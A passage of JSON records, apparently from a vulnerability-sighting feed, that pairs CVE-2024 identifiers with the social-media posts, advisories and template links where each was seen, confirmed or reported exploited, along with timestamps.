"CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfxtu4ytkx2y", "content": "", "creation_timestamp": "2025-01-17T22:30:13.656722Z"}, {"uuid": "62c87c10-3494-4ae2-8552-37b8c06317b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5ujkv2c", "content": "", "creation_timestamp": "2025-01-20T21:02:05.327323Z"}, {"uuid": "354748cf-2a3a-4527-a3d7-0f618fb2259a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6g5ec24", "content": "", "creation_timestamp": "2025-01-20T21:02:10.094789Z"}, {"uuid": "4a4991dc-cf58-46fc-8644-513a094e12b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgamnzcv6g2j", "content": "", "creation_timestamp": "2025-01-21T10:15:28.980285Z"}, {"uuid": "9e1ec70b-98ff-4e22-8b4a-fe3f132a6c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113847225025868805", "content": "", "creation_timestamp": "2025-01-18T03:26:32.576939Z"}, {"uuid": "393fa052-27a1-45eb-88c3-40460cd2b4f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfyh5kvfnb2h", "content": "", "creation_timestamp": "2025-01-18T04:15:30.344899Z"}, {"uuid": "ec9b1337-26c5-49b5-8e63-75b38ca90dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfyizo5osh2r", "content": "", "creation_timestamp": "2025-01-18T04:49:06.869148Z"}, {"uuid": "f590568c-0288-4252-9f2e-170d319df29f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113848098341233000", "content": "", "creation_timestamp": "2025-01-18T07:08:38.534397Z"}, {"uuid": "553a9fe4-7871-454f-b859-23c9e48331b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113848098357560867", "content": "", "creation_timestamp": "2025-01-18T07:08:38.742789Z"}, {"uuid": "88ee6fbd-a901-48e0-8113-ccf1a24afd64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfyr7bb5ib2t", "content": "", "creation_timestamp": "2025-01-18T07:15:24.825429Z"}, {"uuid": "cb541778-c2b3-4af8-943d-4b939e3a8b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfyr7jurmr27", "content": "", "creation_timestamp": "2025-01-18T07:15:33.484754Z"}, {"uuid": "62094a13-57dd-4219-a78e-753bc611826f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfysjwcwkd2g", "content": "", "creation_timestamp": "2025-01-18T07:39:16.363429Z"}, {"uuid": "6f04609a-4b78-4c27-92fd-e966b07077b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfysjwvhyl2k", "content": "", "creation_timestamp": "2025-01-18T07:39:19.024261Z"}, {"uuid": "7ae0080e-903d-4b96-a6b3-cf474c1d3291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-19fd9414-f6e015e089aff22d", "content": "", "creation_timestamp": "2025-01-18T17:23:41.187341Z"}, {"uuid": "14ea7ab1-ecc1-44b2-b2ed-1e781a0e6c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lg2q6tiko52u", "content": "", "creation_timestamp": "2025-01-19T02:02:35.967196Z"}, {"uuid": "756b5d52-b339-4c41-8c66-0186d7c372ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12297", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lg2yopxuls2v", "content": "", "creation_timestamp": "2025-01-19T04:34:40.788036Z"}, {"uuid": "a60290fd-517e-43d1-89c2-a049ead8731f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/elhackernet.extwitter.link/post/3lg3kktvyms26", "content": "", "creation_timestamp": "2025-01-19T09:54:36.969897Z"}, {"uuid": "9b3b4c6b-c9ff-46bb-bb26-7536363c939b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12365", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lg5ceaqux22b", "content": "", "creation_timestamp": "2025-01-20T02:33:04.666934Z"}, {"uuid": "5eb043b2-d82f-43fe-af8b-de5e07e08217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/113861697335696342", "content": "", "creation_timestamp": "2025-01-20T16:47:07.042848Z"}, {"uuid": "4852ca6d-3864-49bd-a034-a0f396e94938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1247", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5wnad27", "content": "", "creation_timestamp": "2025-01-20T21:02:05.911018Z"}, {"uuid": "5653a7ff-fd08-4136-be5c-e2060000971c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-074/", "content": "", "creation_timestamp": "2025-01-31T05:00:00.000000Z"}, {"uuid": "1e6ab0b4-17b9-43d0-93d4-37a2ebffc936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12076", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887813133186587", "content": "", "creation_timestamp": "2025-01-25T07:28:38.238364Z"}, {"uuid": "c2289c0d-e526-489a-95f1-d679bf21b45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12113", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887813166815092", "content": "", "creation_timestamp": "2025-01-25T07:28:38.389142Z"}, {"uuid": "45a00635-c60a-47ad-aa37-e63a473bfa87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12512", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887813202332113", "content": "", "creation_timestamp": "2025-01-25T07:28:39.329897Z"}, {"uuid": "dcd6a668-ac29-45b5-9a85-f293c1cd3c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3s4isdo42r", "content": "", "creation_timestamp": "2025-02-01T05:34:56.467390Z"}, {"uuid": "15927dc4-ad7e-48e1-8949-4b4deb82a916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12529", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872206305997", "content": "", "creation_timestamp": "2025-01-25T07:43:39.280564Z"}, {"uuid": "6b032b6a-5d9b-4a95-baee-b591510cbfd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12816", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872221282926", "content": "", "creation_timestamp": "2025-01-25T07:43:39.523510Z"}, {"uuid": "9ccc15c4-2366-4156-a0f6-933a60276bea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12826", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872251415497", "content": "", "creation_timestamp": "2025-01-25T07:43:40.042286Z"}, {"uuid": "4c0920fb-8c95-4dbd-ab0f-33d502595a29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-021-03", "content": "", "creation_timestamp": "2025-01-21T11:00:00.000000Z"}, {"uuid": "11aad05b-dc6d-4d74-8ea9-5ab2cef9de8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12817", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887872236064434", "content": "", "creation_timestamp": "2025-01-25T07:43:39.776806Z"}, {"uuid": "6cc910ee-b1e7-4a29-96d0-ecef687b4def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3ufoiklz2i", "content": "", "creation_timestamp": "2025-02-01T06:15:51.824032Z"}, {"uuid": "b3e1bd1b-63a7-47ef-9555-aa0913d36924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh3ufqvoje2t", "content": "", "creation_timestamp": "2025-02-01T06:15:54.321632Z"}, {"uuid": "e25713bb-5706-40b1-9e7c-d70849afc00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12885", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113887931249885284", "content": "", "creation_timestamp": "2025-01-25T07:58:40.193302Z"}, {"uuid": "9f62f0c6-3d55-433a-a47f-069399c615ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgefeprjpp2h", "content": "", "creation_timestamp": "2025-01-22T22:15:39.690301Z"}, {"uuid": "1fca6a3a-c65b-40d6-8c9e-7c5379cc3ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12477", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgegqhaiu72q", "content": "", "creation_timestamp": "2025-01-22T22:40:13.225691Z"}, {"uuid": "5edd95d6-9741-42f1-a6fe-b4eaac1e02f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113927290831369673", "content": "", "creation_timestamp": "2025-02-01T06:48:20.212830Z"}, {"uuid": "29fcc802-ac1a-4843-bdd5-9f42dda42ef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxs5ko3uf2y", "content": "", "creation_timestamp": "2025-01-30T15:24:53.470477Z"}, {"uuid": "03042f94-e28e-416e-8181-0cb43af1e1e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxs5lgvhn2q", "content": "", "creation_timestamp": "2025-01-30T15:24:56.774082Z"}, {"uuid": "e2cc80b3-5201-4528-bffe-a9ab5d5218b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12046", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113944437736684051", "content": "", "creation_timestamp": "2025-02-04T07:29:00.757521Z"}, {"uuid": "e2042388-fc87-49ff-a8c0-bb6896ec62b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgbvhkoohc2g", "content": "", "creation_timestamp": "2025-01-21T22:25:51.396564Z"}, {"uuid": "c1174d9a-a451-49fa-b406-09b720996e5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgbvixwdnk2g", "content": "", "creation_timestamp": "2025-01-21T22:26:22.963819Z"}, {"uuid": "bdf820d6-a632-41ca-a23d-8acd6363e1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3z46fbym2e", "content": "", "creation_timestamp": "2025-02-01T07:40:01.814548Z"}, {"uuid": "99cb149e-992b-4c74-b087-4795bb70be5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgcpqffaax2f", "content": "", "creation_timestamp": "2025-01-22T06:15:49.537179Z"}, {"uuid": "f7a0c5b7-99a8-40be-8b7d-64f505c4d43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12879", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcrdfxswe2e", "content": "", "creation_timestamp": "2025-01-22T06:44:22.369879Z"}, {"uuid": "6020412b-5fdc-4952-8b03-5a667e451133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12857", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgcrxved3k2y", "content": "", "creation_timestamp": "2025-01-22T06:55:48.799298Z"}, {"uuid": "aeb27978-d4a9-46ca-a1a9-f5bc534b9901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgct36qrsa2e", "content": "", "creation_timestamp": "2025-01-22T07:15:32.855900Z"}, {"uuid": "78651a5c-eda3-4f15-b13b-1b61a3715675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgct3oqkzl2j", "content": "", "creation_timestamp": "2025-01-22T07:15:49.267279Z"}, {"uuid": "bed42fcc-d047-4f0e-9676-24c789239e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113870905534107428", "content": "", "creation_timestamp": "2025-01-22T07:48:49.067030Z"}, {"uuid": "52e1a30f-7b95-4f09-87f0-ab2e60bb3967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcuxqacw22w", "content": "", "creation_timestamp": "2025-01-22T07:49:24.563851Z"}, {"uuid": "3f94c766-cdcb-451b-bf17-c772f4466d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcuxqdxoq2r", "content": "", "creation_timestamp": "2025-01-22T07:49:25.120234Z"}, {"uuid": "2580fc35-b338-4c31-abe7-771a32dbe6b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgcuxqhbyn2g", "content": "", "creation_timestamp": "2025-01-22T07:49:25.662609Z"}, {"uuid": "85059808-d709-4c79-871c-4ce79fa1712f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12760", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12760.yaml", "content": "", "creation_timestamp": "2025-01-22T13:20:03.000000Z"}, {"uuid": "795ec7f1-3f1f-4825-9a6f-133dd7ba39e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh3z46xisq2u", "content": "", "creation_timestamp": "2025-02-01T07:40:03.553196Z"}, {"uuid": "352a1adf-c0c4-4afb-8309-c164aca0a833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-29)", "content": "", "creation_timestamp": "2025-03-29T00:00:00.000000Z"}, {"uuid": "81531dd6-8dfa-41ae-ba88-5b1451ff0fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfnlvnxje2r", "content": "", "creation_timestamp": "2025-01-23T10:15:30.381754Z"}, {"uuid": "77e37a54-3d3c-48fe-a186-bba4cf1a7c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12275", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921455033240436", "content": "", "creation_timestamp": "2025-01-31T06:04:12.499165Z"}, {"uuid": "6fc06084-9d18-458d-bfed-1476a2e91f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12772", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921455048136997", "content": "", "creation_timestamp": "2025-01-31T06:04:12.703228Z"}, {"uuid": "d56bdf37-8230-45d1-80f2-ac6c98157b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941466402330448", "content": "", "creation_timestamp": "2025-02-03T18:53:21.739686Z"}, {"uuid": "1bd03c4f-e532-4e07-a5a9-dd36d2b54445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921455062062975", "content": "", "creation_timestamp": "2025-01-31T06:04:12.968255Z"}, {"uuid": "a2e33b18-a539-45c3-a322-1c847de1d5e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12957", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfoobxizu2w", "content": "", "creation_timestamp": "2025-01-23T10:34:44.571506Z"}, {"uuid": "a12eee22-6d24-44c3-bceb-0434f0d0fed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc2rhcku2t", "content": "", "creation_timestamp": "2025-01-27T06:15:41.864927Z"}, {"uuid": "b6c4bde6-97e8-419b-bf90-88aef2cb2b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc2w3gcv2n", "content": "", "creation_timestamp": "2025-01-27T06:15:46.694586Z"}, {"uuid": "9d27df5f-6160-4478-9a1a-9728cfe36d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12275", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdwm37gv2h", "content": "", "creation_timestamp": "2025-01-31T06:15:47.006092Z"}, {"uuid": "c68ec829-d7fa-4cd4-a670-0b1e234a5374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc2yqdjg2p", "content": "", "creation_timestamp": "2025-01-27T06:15:49.781338Z"}, {"uuid": "0d497f23-b3a3-4e35-90f2-b2d37bf27ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12772", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdwoiofc2p", "content": "", "creation_timestamp": "2025-01-31T06:15:49.236208Z"}, {"uuid": "b1c26d75-4b91-4b0b-9abf-590d2427ec7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12046", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdmj5taqt2b", "content": "", "creation_timestamp": "2025-02-04T08:15:56.452087Z"}, {"uuid": "233d3b49-9385-4109-92ad-6b4a4ad3cf22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc33rp6r2e", "content": "", "creation_timestamp": "2025-01-27T06:15:52.497849Z"}, {"uuid": "45daade2-4d5a-4ee3-9a62-4a9c080b2934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdwqvq572f", "content": "", "creation_timestamp": "2025-01-31T06:15:51.754432Z"}, {"uuid": "1e11ff40-22ea-4fec-b0e7-3bb1645ee71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpc36dxao2i", "content": "", "creation_timestamp": "2025-01-27T06:15:55.296810Z"}, {"uuid": "6f544468-2207-4e6f-bac9-2281d3e15e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113918327344863189", "content": "", "creation_timestamp": "2025-01-30T16:50:56.351142Z"}, {"uuid": "8e5c9ef8-0d9e-4901-b6db-87e025e6edc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12821", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113918327255388884", "content": "", "creation_timestamp": "2025-01-30T16:50:56.710996Z"}, {"uuid": "36888526-cbdd-4ab0-86be-f3601984f3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcawtn3jz2t", "content": "", "creation_timestamp": "2025-02-03T19:16:11.601150Z"}, {"uuid": "dcbc9b8d-be81-414e-b38b-ba208637995b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-07", "content": "", "creation_timestamp": "2025-02-04T11:00:00.000000Z"}, {"uuid": "472b9107-68b1-4760-b9c8-c48b61e52e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/nlnetlabs.bsky.social/post/3lgfprhqzjs2w", "content": "", "creation_timestamp": "2025-01-23T10:54:25.460628Z"}, {"uuid": "9292ec08-5d71-4009-9bd6-493f591068ec", "vulnerability_lookup_origin": 